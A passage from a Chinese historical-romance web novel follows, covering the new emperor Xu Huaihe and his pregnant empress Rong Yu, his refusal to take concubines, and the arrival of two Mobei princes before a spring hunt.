有他在,殿下原本的亏空定能被补满,他一定会保护好殿下,绝不让任何人胆敢伤害殿下一分一毫,他会和殿下一同健康长寿,无病无痛。 要是他死在殿下之前,他一定会为殿下铺好后路,确保殿下依旧衣食无忧,平安喜乐,要是殿下走在他之前…… 许怀鹤原本就深沉的神色更冷了几分,心想要是殿下走在他之前,殿下若是被别人害的,那伤害殿下的人他必定千刀万剐,做成人彘,让他们永世不得超生; 若殿下寿终正寝,那他就召集这天底下所有的得到高人来做法事,将禁书当中的招魂阵摆出来,不管付出什么样的代价,哪怕要亲身入地狱,他也一定要将殿下带回来。 如果不成功,他就自决去陪伴殿下,绝对不会让殿下孤身一人,哪怕到死,他也会坚守他和殿下之间的承诺,永远不分离。 睡梦中的容钰不知道是不是察觉了什么,听到了他心中所想,略有不安地皱了皱眉,将下半张脸埋进锦被里,身体蜷缩在一侧,手心也紧攥着。 许怀鹤见状重新躺下去,熟练地将容钰揽进自己的怀中,紧紧相贴,感受着彼此的温度,深吸了一口属于容钰身上的山茶花香,缓缓闭上了眼睛。 许怀鹤并没有深想或怀疑什么,只以为今日的登基大典和封后大典又勾起了容钰以往的回忆,想起了老皇帝做的那些恶心事,所以心里不安,日有所思,夜有所梦,才说出了这样的话。 不过漠北确实该收拾了。 容钰醒来时,许怀鹤已经开始了他登基称帝后的第一次早朝,容钰并不知晓自己昨夜说了怎样的梦话,又被许怀鹤听了过去,她有些疲惫地揉了揉脖子,昨日的头饰太重,压的她几乎喘不过气来,连忙让青竹帮自己疏通疏通。 青竹按摩推拿的手艺越发好了,容钰觉得自己的身子都轻快了几分,她笑着拉住青竹的手,从妆奁里面挑了一只粉玉的镯子给青竹套上,正好衬青竹今日穿的粉色宫裙:“你年纪和春桃差不多,就该穿这些粉嫩的,多好看。” “多谢娘娘赏赐。”青竹有些不好意思地抿了抿唇,脸上挂着羞涩的笑容,对着容钰福了福身,行礼谢恩。 一声“娘娘”叫得容钰愣了愣,直到春桃将热茶端到她面前,她才猛地想起自己如今已经不再是昭华公主殿下,而是皇后娘娘。 过去种种如梦似幻,好像隔着一层薄薄的雾,上辈子的事也更远了,记忆都开始变得模糊,容钰依旧对自己成了皇后这件事没什么实感,像一脚踩到云上,轻飘飘的,一颗心不上不下地吊着。 “许……”容钰轻轻开口,又将许怀鹤三个字咽下去,“陛下今日要回来用午膳么?” 母后还在世时,镇国公府还显赫时,她名义上的父皇,那个已经去世的男人也和母后有过一段温情的时光,每日下朝处理完奏折,都会来坤宁宫陪母亲和她用饭。 但不知道从什么时候起,那人就不来了,母后也派人去请过,但得到的回答要么是“陛下今日要同其他大臣一起用午膳”,要么就是“陛下忙于朝政,今日来不了坤宁宫”,总是冷冷的拒绝之言。 母后那样温柔的人,也受不了这样的冷淡,明眼人都能看出陛下的心已经在旁人身上,有了新欢,母后也就不再派人去请。 再后来,母后生了病,那人也极少来探望,即便来看望也只是稍微坐一坐就起身离去,欢声笑语只从怀柔宫里传出,坤宁宫则愈发安静,安静到这后宫几乎都要忘了还有一位皇后的存在。 想起往事,容钰心绪不佳,细眉微蹙,她也只是随口一问,并不十分期待许怀鹤真能百忙之中抽出空来,陪自己用膳。 若是许怀鹤能一直这样时常陪她用膳还好,可许怀鹤若是像那个男人一样,一开始甜言蜜语,含情脉脉,有了其他嫔妃后就忘了皇后,冷言冷语待她,还不如一开始就不来陪她,让她早些习惯坤宁宫的冷清。 听到容钰的话,青竹立刻应声:“奴婢这就让人去问。” 青竹转身,脚下好似生风,容钰都没来得及叫住她,她就已经出了门,脸上带着喜气洋洋的笑,心里也高兴。 虽然为那老不死的皇帝守了近一月的孝期和国丧,但公主殿下和国师大人的感情并没有因此生分,两人还和新婚夫妻那般如胶似漆,瞧,皇后娘娘还时时刻刻惦记着陛下呢! 另一边,即将退朝的许怀鹤还不知容钰已经在心中为他安排好了朝三暮四的罪状,觉得他日后要心 许他人,为了其他嫔妃冷待她。 他坐在龙椅上,姿势并不十分庄重,半靠在椅背上,手肘撑着扶手,半托着侧脸,兴致缺缺地注视着下面依旧争吵不停的群臣,知道他们是在做戏给自己看。 黑色的朝服勾勒出他宽肩窄腰的身材,和上一位帝王臃肿肥胖的身体截然不同,年轻而有力,十二旒遮住了他英俊的面容,也遮住了他的神情,让底下的大臣看不清他眼底的嘲弄,猜不透他的所思所想。 面对这样一个有野心,有能力,年轻力壮的新帝王,诸位大臣都十分谨慎,原有的结盟已经松散,每个人心里都有自己的算计,要不要站队,要和谁一派,目前都不能太早下定论,只能再观望一段时间,等摸清这位新帝的脾性再说。 有臣子隐晦地看向站在诸位大臣最前面,身居高位,从龙有功的镇国公和右相杜科,两人已经对究竟要不要请漠北的几位王子来参加春猎这件事,吵的面红脖子粗,似乎下一瞬就要动起手来。 两家明明已经结了亲,还是嫡子嫡女联姻,却依旧和仇人一样,在朝堂上处处针锋相对,意见不合,害得他们分不清这究竟是帝王的权衡之处,有意让朝臣分作两派,还是两人果真政见不合。 终于有大臣意识到,坐在上首的皇帝似乎许久都未发一言,连忙给旁边的同僚使了个眼色,大殿内的争吵声也终于平静下来,落针可闻,所有人都屏气凝神,等待着新帝做最后的决断。 “自然要请。”许怀鹤冷冷地挑了挑唇角,“漠北若真的问心无愧,没有做过刺杀先帝,又派人给先帝暗中下毒的事,怎会不敢来呢?” 右相杜科听的嘴角一抽,差点没能在众目睽睽之下憋住脸上的表情,就算是这样,听到新帝堂而皇之地把他自己做的事全都推到漠北头上,杜科脸上的神色还是扭曲了一瞬。 心真黑呐,真不愧是能做皇帝的人…… 退了早朝,臣子们纷纷从大殿离开,许怀鹤接过大太监恭恭敬敬递过来的茶水杯抿了一口,听到大太监低声道:“陛下,皇后娘娘方才派人来传口信,想问您今日是否要去坤宁宫用午膳?” 大太监深深明白皇后娘娘在陛下心中的分量究竟有多重,皇后娘娘派人来传的口信,他是一刻也不敢耽搁,一等早朝结束,就连忙告知了陛下。 “去。”许怀鹤又弯了弯唇,露出了真切的笑意,“让御膳房多做几道皇后爱吃的送去。” 许怀鹤起身,原本应付那些庸碌之人的疲惫和不耐一扫而空,大踏步出了大殿,身后的大太监差点没能赶上他的步伐,一路小跑到了软轿边,尖着嗓子喊了声起驾,赶往坤宁宫。 从公主府搬回坤宁宫居住,六只白鹤和两只极品白孔雀自然也一同跟了过来,白鹤同皇宫中原本就有的鸟类一起养在荷花池边,两只白孔雀则养在专门造的院子里。 容钰给两只白孔雀喂了青草,它们如今已经同她十分亲密熟悉,还允许容钰摸一摸它们光洁无暇的羽毛。 容钰的手指刚从它们的背部抚过,突然觉得胃部一阵翻涌,忍不住反呕了一身,连忙拿帕子挡住唇角,往后退了两步。 春桃还以为是这院子里的气味熏到了公主殿下,连忙取下腰间的香囊,打开送到公主殿下面前,但公主殿下依旧眉头紧皱,软声说要回坤宁宫。 回到坤宁宫时,瞧见外面放着的属于帝王的龙辇,春桃和青竹就知道陛下已经到了,一进门就连忙对着坐在桌边的许怀鹤行礼:“参见陛下。” 许怀鹤随意抬手,让她们起身,两人也识趣且默契地快速站起来退到一边去,免得妨碍了陛下和皇后娘娘亲密。 容钰还没习惯自己要向许怀鹤行礼,她呆了一瞬,好在许怀鹤也不在意这些,伸手握住她纤细的手腕,轻轻一拉,就让容钰跌进了自己的怀中,揽住容钰的腰肢,和她贴耳:“阿钰莫非是想我了?” 他如今不叫容钰“殿下”,也不叫“皇后”,而是用了更亲密,更让容钰脸红的称呼。容钰用手撑着他的胸膛,但依旧退不开多少距离,羞得侧脸一片粉红,低声气闷道:“谁想你了!” 屋内的宫人头也不敢抬,春桃和青竹偷笑,容钰又推了推许怀鹤,许怀鹤这才放过她,和她一同走向了屋内,准备用午膳。 桌上的春笋火腿盅冒着热气,挖空的冬笋填入金华火腿,蒸制后又淋了鸡枞菌高汤,鲜香扑鼻,咸味恰到好处,容钰刚坐下,许怀鹤就为她舀了半碗,又给她夹了凝成佛手状的杏仁露,上面裹着蜂蜜桂花好和枇杷甜蜜的汁水,润肺养颜,都是她爱吃的。 旁边正准备上来伺候布菜的宫女们看的一愣,被大太监瞪了一眼,连忙退了回去,心中对皇后娘娘的受宠又有了新的认识。 接下来是一道菜是松花江清蒸白鱼,也是容钰往日爱吃的,白鱼里塞了人参须和虫草,有淡淡的药香气,还淋了松茸汁,清香不腻,鱼肉细如凝脂,一口下去顺滑无比。 她吃了一勺,惬意的神色突然一变,明明口中没有半点腥味,御厨处理的极好,无论是调味还是刀工都无可挑剔,只有鲜嫩,但那股熟悉的,方才在孔雀院子里感受到的反呕又一次涌了上来。 “唔!”容钰猛地捂住唇,还是没能忍住,小脸都皱了起来,难受地偏过头,吐在了花盆里。 许怀鹤一惊,下意识地站起身,凌厉的眼神如刀锋扫过,吓得宫人们都哆嗦了起来,他大步走到容钰面前,面沉如水,立刻握住容钰的手腕,凝神把脉,却摸不出什么。 不是下毒? 大太监连滚带爬地叫了太医,许怀鹤转而握着容钰的手心,将她抱在怀里,温声细语:“阿钰哪里难受?” 容钰捂着胸口,她蹙眉,声音有些低,像羽毛轻扫:“这里闷闷的,还有腿,腿酸……” 她说着,有些不信任地盯着许怀鹤:“是不是你昨晚又折腾我了?” 许怀鹤哭笑不得,他正了正神色:“绝对没有。” 容钰半信半疑地扯着他的衣袖,太医院的新院判赶来时,看到的便是帝后相拥,互诉温情的一幕,他不敢多看,赶紧掏出软垫和帕子为皇后娘娘诊脉。 片刻后,他收起软帕,猛地弯腰拱手,对着许怀鹤和容钰高声贺喜:“陛下,娘娘这是有孕了!如今月份小,刚一月左右,恭喜陛下和娘娘!” 他在宫中这么多年,还没当上院判之前,最常做的就是被宫里的娘娘们使唤把脉,看看娘娘们是否有孕。 后宫的女人们个个都想做第一位生皇子的人,不管头疼脑热,吃不下饭睡不着觉,都觉得是自己怀了,每每欢喜地请他来,又臭着脸让他滚。 总之,他绝不可能诊错! 许怀鹤和容钰都愣住了。 他们都没想到会这么快—— 许怀鹤早就打算好,先给容钰养身子,不着急要孩子,容钰的身体最重要,已经在房事上有所克制,却没料到竟然头几次就中了。 容钰下意识地捂住小腹,她呆呆地请按着平坦的腹部,没想到自己刚做了皇后,就怀了许怀鹤的孩子,她要做母亲了。 春桃和青竹激动的不知如何是好,两人互相握着胳膊,差点跳起来尖叫,脸上的笑容止都止不住。 这才是真的喜上加喜,新帝刚刚登基,皇后娘娘便怀了子嗣,真是应了钦天监说的那番话,陛下和娘娘的命格奇特,相辅相成,必能使大夏国运昌盛! 许怀鹤宽大温暖的掌心盖在手背,容钰愣愣转头,看到了许怀鹤眼中的疼惜,得知自己有孕后的慌乱突然消散了大半,她逐渐镇定下来,轻声道:“我们有孩子了。” 好奇妙的感觉,容钰回握住许怀鹤的指尖,心想许怀鹤深爱她,心疼她怀孕辛苦,担心她生产艰难,足以让她放心交付自己。 她相信许怀鹤能保护好她,就像之前所有的劫难一样,只要她在许怀鹤身边,就能平安无虞,没什么好怕的。 第72章 第72章只有你一人。 * 坤宁宫内,上下一片欢欣,就连刚入宫没多久的小宫女都走路带风,脸上笑意盈盈。 皇后娘娘有身孕的消息很快就传遍了宫内,又从皇宫传了出去,镇国公府的欢喜自然不必多说,路边的百姓也语笑言欢,更加觉得新帝和皇后娘娘是天生一对,喜上加喜,必能福泽大夏。 赏赐如同流水一样抬进了坤宁宫里,什么珊瑚珠串,冰丝玉瓶,人参雪燕,红宝石镶金和翡翠的头面……每一样都是压箱底的宝贝,价值连城。 春桃指挥着小宫女们收拾箱笼,看着这么多赏赐,心里也悄悄松了一口气。那日皇后娘娘身子不适,太医诊脉诊出了娘娘有了身孕,可陛下得知后,脸上并没有惊喜的神色,反而似乎是在顾虑什么。 春桃当时心里就一惊,生怕陛下不喜欢这个孩子,或是有了更深的,她连想都不敢想的心思,但如今一看,她就知道陛下还是心里高兴的。 陛下不光派人送来了这么多赏赐,还给坤宁宫添了一批机敏利索的宫女嬷嬷,仔细小心地照顾着有身孕的皇后娘娘,半点差错都不会出。 容钰靠在软榻边,百无聊赖地看着春桃指挥其他宫女收拾物件,她伸出自己纤细的手,原本染了蔻丹的指甲如今都被桂嬷嬷洗掉了,坤宁宫里的香炉更是被人翻了一遍又一遍,香料里带着麝香的都不许点,扔的远远的。 桂嬷嬷原先已经准备在公主府里颐养天年,可谁知皇后娘娘这么快就有了身孕,急的她赶紧请命入宫,陪在容钰身边照料,恨不得将容钰的一举一动都盯着,似乎她是一尊不能磕碰,连轻易都不能挪动的瓷娃娃,弄得容钰哭笑不得。 就连孔雀园也不许她去了,容钰收回指尖,默默叹了一口气,说是什么害怕两只白孔雀行为无状,冲撞了她,伤了腹中的胎儿,如今她去御花园里散步,都只能远远地隔着围栏看一眼。 在这样的精心养护下,容钰难免觉得无趣,宫里没什么好玩的,又不能出宫,她随手接了青竹递来的话本,忽然听到身侧的桂嬷嬷低声担忧道:“也不知陛下何时准备选秀呢?” 容钰翻话本的手顿了顿。 在为先帝守孝的那二十余天里,她也曾数次想过这个问题,只是越想便越不愿深思,每每逃避又觉得心凉,此刻被桂嬷嬷直白地点出来,容钰更加觉得胸闷,撇头道:“与我何干。” 要想一国之君后宫只有她一人,无异于痴人说梦,容钰有些赌气地想,许怀鹤日后看上哪家小姐,把她们招入宫来,又喜欢上了谁,那都是许怀鹤的事,与自己有什么关系? 她都已经是皇后了,要什么没有,她才不稀罕! 桂嬷嬷一看就知道糟了,连忙过来拉着容钰的手,轻轻拍她的手背安慰道:“是老奴说错话了,陛下和娘娘伉俪情深,陛下心中只有娘娘一人,娘娘千万别生气,气坏了身子。” 容钰勉强弯了弯唇,但脸上还是没什么笑意:“好。” 桂嬷嬷懊恼地直在内心扇自己嘴巴,心道人上了年纪果然就不中用了,明知道娘娘有身孕,正是脆弱敏感,容钰胡思乱想的时候,自己还偏要说那样的话,心里想想便罢了,怎么就说出来了,影响娘娘的心情? 许怀鹤下早朝时,就已经从宫人那里听全了坤宁宫里发生的事,他皱眉,轻轻转动着拇指上的玉扳指,旁边的大太监被吓得低头不敢吱声,心想这可真是巧了,今日早朝时,正好就有不知死活的人向陛下提议选秀,广开后宫呢。 陛下当即冷笑了一声,问了那人的名字官籍,又问了那人家中的妻妾几何,随即让刑部和吏部去查,那人听完后当即跪下发抖,心虚和害怕藏都藏不住。 虽然陛下没有再多说什么,但是所有人都清楚,这人完了。 大殿里一片冷凝,众人噤若寒蝉,不敢吭声,没有人再敢提选秀女,或是给后宫添新人的话,那些想把自己的女儿塞进陛下后宫里的人都歇了心思。 陛下对皇后娘娘一往情深,天地可鉴,大太监在心里默默想着,这会儿正是陛下和皇后娘娘浓情蜜意,亲密无间的时候呢,那些人也真是不长脑子,敢提这事。 陛下又不是见色起意,只沉溺于美色的昏君,自有一番大抱负在,而且有皇后娘娘珠玉在前,陛下见过了皇后娘娘这样的绝世美人,还看得上其他的小家碧玉吗? 刚踏进坤宁宫的地界,大太监就敏锐地察觉到了气氛不对,门口的小宫女垂着头,战战兢兢地迎接陛下,神色似乎有些惊慌,而坤宁宫内也没有往日的欢声笑语,而是一片沉寂。 大太监也跟着胆战心惊起来,跟在陛下的身后进了院门,眼睁睁地看着方才还肃正的陛下脚步微微停了停,忽然换了一副面孔—— “阿钰。”许怀鹤的声音压的低,原本清冽如雪的嗓音带了些低沉,像羽毛轻扫过容钰的耳朵尖,语气委屈,“今日早朝,他们都逼我选秀女。” 容钰原本只盯着桌上还散发着热气的菜肴,假装看不到许怀鹤已经进了屋,但听到许怀鹤的话,还是忍不住微微偏头看向他,对上了许怀鹤的一双狐狸般的眼睛。 在容钰还没反应过来时,许怀鹤就已经牵起了她的手,修长有力的手指顺着她的指缝嵌进去,和她十指相扣,牢牢扣在掌心,像是告状一样:“我没答应他们,永远都不会。” 容钰愣了一下,又听到许怀鹤继续开口,誓言坚定,握住她的手发热发烫:“阿钰,我们彼此立过誓的,我这一生只会钟情你一人,只会陪在你一人左右,绝不会有旁人入后宫,我永远是你的驸马,你永远是我的公主殿下。” 屋内静悄悄的,容钰能够清晰地听到自己的心跳在微微加速,一声比一声大,似乎要跳出胸膛,盖过了原先所有的胡思乱想。 理智告诉容钰,自己不该轻信一个帝王的话,就算一时没有其他秀女入宫,许怀鹤一时没有答应那些大臣们广开后宫的请求,并不代表许怀鹤能一直如一,待自己始终如初,但她还是忍不住沉浸在了许怀鹤深情似海的眼眸里,被许怀鹤牵着思绪,下意识地点头:“好。” 帝后和睦,坤宁宫内的众人都松了一口气,原本冷凝的气氛也终于重新活动起来。 桂嬷嬷不上不下吊着的心终于安稳,她就知道陛下是向着皇后娘娘的,那些大臣也着实可恶,帝后才新婚多久,皇后娘娘又才刚有了身孕,他们就敢在陛下面前提纳妃的事,真是不把娘娘放在眼里,也不把镇国公府放在眼里! 见容钰点头,许怀鹤微微勾唇,让站在一旁的宫女们继续上菜,他刚拿起汤勺,准备为容钰盛鸡汤,就听到容钰小声问:“可是从来没有这样的先例,你若不选其他女子入宫,我若又……未能生出皇子来,他们拿祖宗规矩压你,再逼迫你选秀,你又当如何?” 许怀鹤转头,对上了容钰始终清澈无邪,但天真当中又多了几分忧思的美人眸。 兴许是身份的转变,又兴许是其他人在她面前说了些什么,阿钰逐渐退去了原本的那份不谙世事,像刚从族群中脱离出来的小兽,面对周遭的一切都警惕提防,楚楚可怜,柔弱可欺,依旧可爱极了,依旧需要他好好保护。 “阿钰莫不是忘了,”许怀鹤轻轻笑起来,眼神当中带着宠溺,“钦天监说了,我们命格特殊,彼此相辅相成,缺一不可,替大夏添福,若是有旁人偏要插足,就会害了大夏。” 容钰不会知道,许怀鹤早早就计划好了一切。 他选择在登基称帝之前,以驸马的身份和容钰结为夫妻,而在登基后,容钰自然就是顺理成章的皇后,其他人在提起这事时,只会说他们天生一对,就算有人在意容钰先朝公主的身份,也会被命格的说法堵上嘴。 命 格特殊就是最好的挡箭牌,谁敢冒着让大夏陷入风波,冒着惹陛下不快被砍头的风险,非要违背天命,违背钦天监所说的话,逼迫许怀鹤纳妃? 谁敢? 容钰有些呆呆地“啊”了一声,她并不知道命格的说法是许怀鹤编造的,有着上一世的记忆和经历,她反而更加认定许怀鹤和钦天监所说的话都是真的,自己和许怀鹤的确是命定的一对。 她眼中的担忧散去,又恢复了平日里骄矜的模样,微微抬了抬下巴,支使许怀鹤为自己舀汤布菜,就连胃口都好了些。 哄完容钰,许怀鹤离开坤宁宫后,眼中又恢复了森然冷意,他转动着扳指,开始思考起接下来要收拾哪些不知天高地厚,已经开始蹦跶叫嚷的人。 新帝登基后的第一把火终于浩浩荡荡地烧了起来,接连三日,朝中人心惶惶,都紧了皮子,做事也收敛了许多,生怕下一个倒霉的就是自己,被惨叫着拖出大殿,颜面尽失不说,家里也得被掏空,流放到苦寒之地去。 谁没有做事不干净的时候?谁敢信誓旦旦地说自己没有收过贿赂,没有借权势压人,没有站队党争,手上没沾几条人命? 原先刑部侍郎闻锐达刚上任时,他们还私底下抱怨过此人太过正直,不懂得变通,处事古板,但如今看来,新帝要是较真起来,恐怕要比闻锐达还要恐怖难缠千万倍。 追根溯源,哪怕再蠢的人也看明白了,皇后娘娘就是陛下放在心尖尖上的人,什么陛下是为了兵权才娶皇后娘娘,什么陛下和皇后娘娘各有算计,什么陛下和镇国公府已经离心的说法不攻自破,一时间,想要巴结镇国公府的人如同过江之鲫。 镇国公府门庭若市,可惜镇国公的嫡子顾明之已经和右相杜科的嫡女定了亲,他们只能将目光放在镇国公的女儿顾云溪身上。 媒人去了一批又一批,男方的庚帖更是如同雪花一样铺满了书桌,顾林氏在旁边乐的合不拢嘴,左挑右捡,顾云溪看的头晕眼花,一点也不想继续待下去,于是在宫里派人来传信的第一时间,她就从椅子上几乎跳起来,大声道:“现在,现在就能入宫!” 这是顾云溪第一次单独入皇宫,往日都是跟着母亲来参加宴会,但想到这是皇后娘娘单独约自己玩耍,她又止不住地兴奋,迫不及待想要和容钰见面。 坤宁宫里,宫女们已经备好了顾云溪爱品的龙井茶和酥点,外面的小宫女传报,容钰微微抬头,便看到顾云溪脸上挂着灿烂的笑容,往她面前小跑了几步,跑到一半又记起了什么,脚步慢下来,整理了一下衣裙和头钗,对着她行礼:“拜见皇后娘娘。” “快来,”容钰也忍不住弯起唇角,“许久都没见你了,近日在做些什么?” 顾云溪应了声,在容钰旁边的椅子边坐下,有些不好意思地将手放在腿上:“回娘娘的话,云溪近日在挑夫婿。” 容钰已经从春桃那里听说了这事,她笑起来:“那你挑好了么?喜欢哪一家的小郎君啊?” 顾云溪的脸微红,更加不好意思,忸怩道:“还没挑好呢,这事终究是父亲母亲做主,其实我也不知道我究竟喜欢谁,递庚帖的郎君们各有各的好……” “若是舅舅舅母替你选的郎君你不喜欢,不满意,你就来找我,我替你挑。”容钰笑着捏捏顾云溪柔软的脸颊,“你这样漂亮,又心灵手巧的高门贵女,一定要配最好的郎君。” 上一世,顾云溪还没有定亲,镇国公府就没落了,自己也死在了去漠北的路上,没能看到顾云溪最后嫁给了哪家郎君,有没有过上好日子。 这一世,镇国公府更加显赫,想必顾云溪的亲事也不会差,等她出嫁,自己还能给云溪妹妹多添些嫁妆,给她撑腰。 被容钰夸奖,顾云溪的脸和烧红了的云彩一样,重重点头:“多谢娘娘!” 她端起旁边温热的龙井茶抿了几口,眼神忍不住往容钰的小腹看,也顾不上失礼:“娘娘近日睡得还好吗?我听我娘说怀着身孕要经常起夜,有时还会腹痛,吃饭也不安生,总是想吐。” “还好,”容钰点点头,“太医也说了,头几个月最是难熬,有补药调养着,孩子也算乖,我没怎么受罪。” “那就好。”顾云溪松了一口气,她放心下来,环顾了一圈,“雪团呢?” 容钰咬了口酥点,里面加了山楂,正好对她怀孕后的胃口,闻言无奈道:“雪团似乎是到了成家的年纪,春日一到,它夜里就总是喵喵叫着,白日里也喜欢到处撒欢乱跑,嬷嬷说它是想找小母猫了,怕它乱跑冲撞了我,就带去偏院养着了。” 顾云溪又开始不好意思了,她尴尬地笑了笑,揉了揉被皇后娘娘捏过的脸颊,吃完了面前的酥点,又陪容钰和另外两个宫女打了叶子牌,一直到宫门落锁前,才坐马车回了镇国公府。 顾云溪走后,容钰脸上的笑一点一点落了下来,她不安地摸着手里的叶子牌,想说的话还是没能说出口。 马上就要到春猎了,上一世发生的事都提前了许多,那这一世,漠北派来的人参加春猎时,会不会也提前使两国开战呢? 第73章 第73章皇后娘娘被掳走了! * 漠北的寒风呼啸,带着独有的细沙土,砸在耶律一族的大王子耶律古粗糙的面颊上,他最后往回看了一眼,身后的草原依旧苍茫,枯草间已经有了星星点点的浅绿,代表着新一年希望的草芽正在蓬勃生长。 他转头,双腿夹住宝马,一声嘶鸣后,马蹄踏破碎冰,跨过了最后的封冻,和身侧的弟弟耶律小王子耶律雪峰一起加速,策马扬鞭,赶往大夏的边境。 他曾站在草原的山坡上无数次朝边境眺望,他知道大夏的边境并非铁桶,甚至可以说漏洞满满,大夏对边境的疏忽和懈怠,让这里如同随手就可以击碎的木板,只等漠北的铁蹄踏过。 整个漠北都期盼着那一天。 耶律古和耶律雪峰带着漠北上供的物品,带着他们的人马大摇大摆地进入边境,大夏人看他们的目光有厌恶,也有惧怕,耶律雪峰忍不住发出了一声嗤笑,耶律古皱了皱眉,警告道:“不要生事。” 他们已经进入了大夏,就不能像在漠北那样随心所欲,更何况他们这次冒着十足的风险,也有必须要完成的任务,绝对不能在路上就出岔子。 他们并没有在边境停留太久,盛大的春猎即将开始,留给他们赶路的时间并不多,一路上都有驿站不断为他们送行,说是热情好客,实则是暗中窥探他们的一举一动,一言一行。 耶律雪峰的耐心早已被消磨殆尽,但穿过蜿蜒的山脊,在看到那片广阔的平原时,他的眼一瞬间瞪大。 被黄河水滋养过的泥土在温暖的阳光下蒸腾出湿润的气息,多么肥沃,多么生机勃勃,麦田里的嫩苗刺破泥土,风都是柔软的,没有一点黄沙拂面,山野间桃花片片,他极少见到的粉色随风飘起,又落进潺潺的溪水间。 这就是中原,美丽的中原,富饶的中原。 耶律雪峰的心中突然涌起勃勃野心,他双手攥拳,忍住嚎叫出声的冲动,转头看了一眼旁边的大哥,发现大哥的目光深邃,脸上也有几乎忍不住的激动之色。 要是这里属于他们…… 随行的大夏官员站在身后,笑着向他们叙说,不经意地炫耀起自己的功绩和丰收,耶律雪峰听的眼红,沉稳的耶律古一边应付,一边继续赶路,又过几日,终于在春猎即将结束前赶到了京城。 春风已度居庸关,官道两边杨柳依依,京城里消息灵通的人早就听说漠北的两位王子今日就到,不少人都趴在两边的酒楼上看热闹,官兵们分列两侧,礼部侍郎 笑着迎上来:“欢迎二位王子前来。” 礼部侍郎按照礼节为耶律古和耶律雪峰接风洗尘,又微笑着告诉他们新帝体恤,让他们不必立刻就去觐见,吃饱喝足后再入宫也不迟。 耶律雪峰心里冷笑了一声惺惺作态,但面上还是装出了恭敬的样子,随着大哥耶律古一起拱手行礼,随着礼部侍郎一路去了大夏为他们准备落脚的地方,放下行装,又换了身衣服,这才出门去京城最好的酒楼用饭。 耶律雪峰有些不舒服地扭了扭头,活动了一下疲劳的手腕,周遭打量他的视线瞬间收了回去,大部分人虽然好奇,但更惧怕他们身上的野性和强壮。 他们坐在酒楼的二楼的雅间,隔着一扇窗和屏风,他们能够听到楼下的食客们谈笑,但楼下的人并不能听到他们的对话,也看不到屏风内的情形。 终于不用被那些人打量凝视,耶律雪峰自在不少,他扯开衣袖,一把抓起放在旁边的酒壶,打开盖子就往嘴里灌,末了随手擦了擦嘴角,笑道:“大夏的酒倒是不错。” 耶律古并没有立刻回答他,而是朝着楼下望去,对他做了一个嘘声的动作,示意他仔细听下面人的对话,耶律雪峰顿了顿,也侧耳听起来。 他和大哥的耳力都极好,很轻易就能听到底下那些人的小声议论:“今年的祭典可真是让人大开眼界,你听说了吗,那两只瑞兽是陛下亲自带回来的,今年一定会风调雨顺,五谷丰登!” 耶律雪风皱了皱眉,什么瑞兽?他们来的稍微晚了一些,大夏的春日祭典已经结束了,不过他们也听说过,大夏年年都有春日祭典,祭拜天地,祈求神明怜悯,就和他们部族的祭祀一样,都希望能有个好天时,让部族的人能够活下去。 “那两只白孔雀着实罕见,千百年都未必能够找到一只,而陛下一出手便寻了一对,一公一母,阴阳相合,正如咱们陛下和皇后娘娘命格契合,天佑我大夏!” 这话耶律雪峰就更听不懂了,他不会用中原的筷子,索性直接用手抓了盘子里的食物往嘴里塞,一边咀嚼着,一边侧耳,继续凝神听下面人的议论,终于从那些人断断续续的话语中提取出了他想知道的东西,也终于弄明白了所谓的瑞兽,以及帝后的奇特命格到底是怎么回事。 他对这些人的说法十分不屑,觉得许怀鹤不过造势而已,什么瑞兽什么命格都是假的,不过让他尤为感兴趣的是下面那些人口中的绝世美人,当今的皇后娘娘。 耶律雪峰不由得非常好奇,想要知道这位皇后娘娘究竟长什么样,才能让这些人交口称赞,觉得对方是天仙下凡,天生凤命,还能让新帝许怀鹤痴迷于她,说出了一生一世一双人的诺言,还当着众臣的面宣布永不纳妃,后宫只有皇后一人? 父王说过,如今大夏的新帝许怀鹤是一个极难对付的英雄,对方心机很深,手段很辣,聪明难缠,他不能想象,这样一个人,怎么会栽在女色上? 就在这时,耶律古忽然开口:“我听说过,如今的皇后娘娘就是原先的昭华公主殿下,对方的确有大夏第一美人的头衔。” 他们的父王是漠北的新王,刚称王不久,他们在此之前从未来过中原,也没有资格参加春猎,这是他们头一回进京城,他也只是听说,但不曾见过昭华公主殿下的真容。 耶律雪峰于是更加心痒,迫不及待地想要一睹皇后的真容,耶律古看出他心中所想,再次警告道:“不要多生事,明日就是春猎了,一定要看我信号再动手,明白吗?” 耶律雪峰不耐烦地点头:“我知道,大哥。” 同一时刻,坤宁宫内,春桃正从箱笼里面找先前公主府的绣娘做的面纱,将十几件面纱全都依次拿出来,摆放在容钰面前,由容钰挑选。 容钰的指尖摸上其中一副淡青色的面纱,面料是上等的冰蚕丝,只有薄薄一层,几乎可以透光,但绣娘的手极巧,仅一层的蚕丝也能绣出鲜活的白色山茶,覆在面上时营造出了一种朦胧似雾的美感,让人看不清面容下的真容,只能看到一双含着春水,引渡秋波的美人眸。 “就这一件吧。”容钰从面耳朵取下面纱,放在桌上,由春桃拿下去洗净晾干,等明日就能穿戴。 她的心中还是藏着深深的忧思,戴面纱的借口她已经想好了,就说春猎场上野兽太多,气味难闻,她怕闻着犯恶心,孕吐失了仪态,索性戴着面纱。 这胎的头三个月已经稳了下来,太医也说可以多走走,不必拘在室内,也不用太怕磕碰,久坐反而对胎儿不好,但容钰依旧不想参加春猎,不愿意让耶律谷和耶律雪峰,特别是耶律雪峰看到自己的面容。 可是这次春猎是许怀鹤登基后的头一回,和春日祭典一样重要,自己连祭典都漏了面,和许怀鹤一起祭拜天地,祈求风调雨顺,春猎却不去,这是什么道理? 自己如果不去,会不会让漠北认为大夏看不起他们,从而不满怨怼大厦,反而更快地促使两国交战呢? 左思右想都找不出好的办法,容钰心里直叹气,最后只能用一开始的打算,以面纱覆面,前去参加春猎,只希望不要再生事端,能和前世有不同的结果。 这些疑虑和担忧都无法向其他人倾诉,只能自己默默忍受着,可她向来无法在许怀鹤面前掩饰什么,许怀鹤太敏锐了,早就已经看出了她的心不在焉和忧思重重。 许怀鹤几次旁敲侧击,问她是否有烦心事,坤宁宫中是否有人让她不高兴,她都用怀有身孕的借口搪塞了过去,许怀鹤应当是信了,变着花样哄她开心,昨日让人送了豆绿的牡丹,今日又让人送了新得的高约三尺的南海红珊瑚树。 那红珊瑚树不知用了什么秘法,入夜时竟然微微散发着点点银光,不如旁边斗大的夜明珠闪亮,但实在美丽,隔着帘子犹如天上的星光点点。 容钰看着,刚有些睡意,床帐就被轻轻掀开,许怀鹤带着夜里的微凉上榻,将她熟练地抱进怀里,用手掌护住小腹,小心地将下巴抵靠在她的颈窝,低声唤道:“阿钰。” 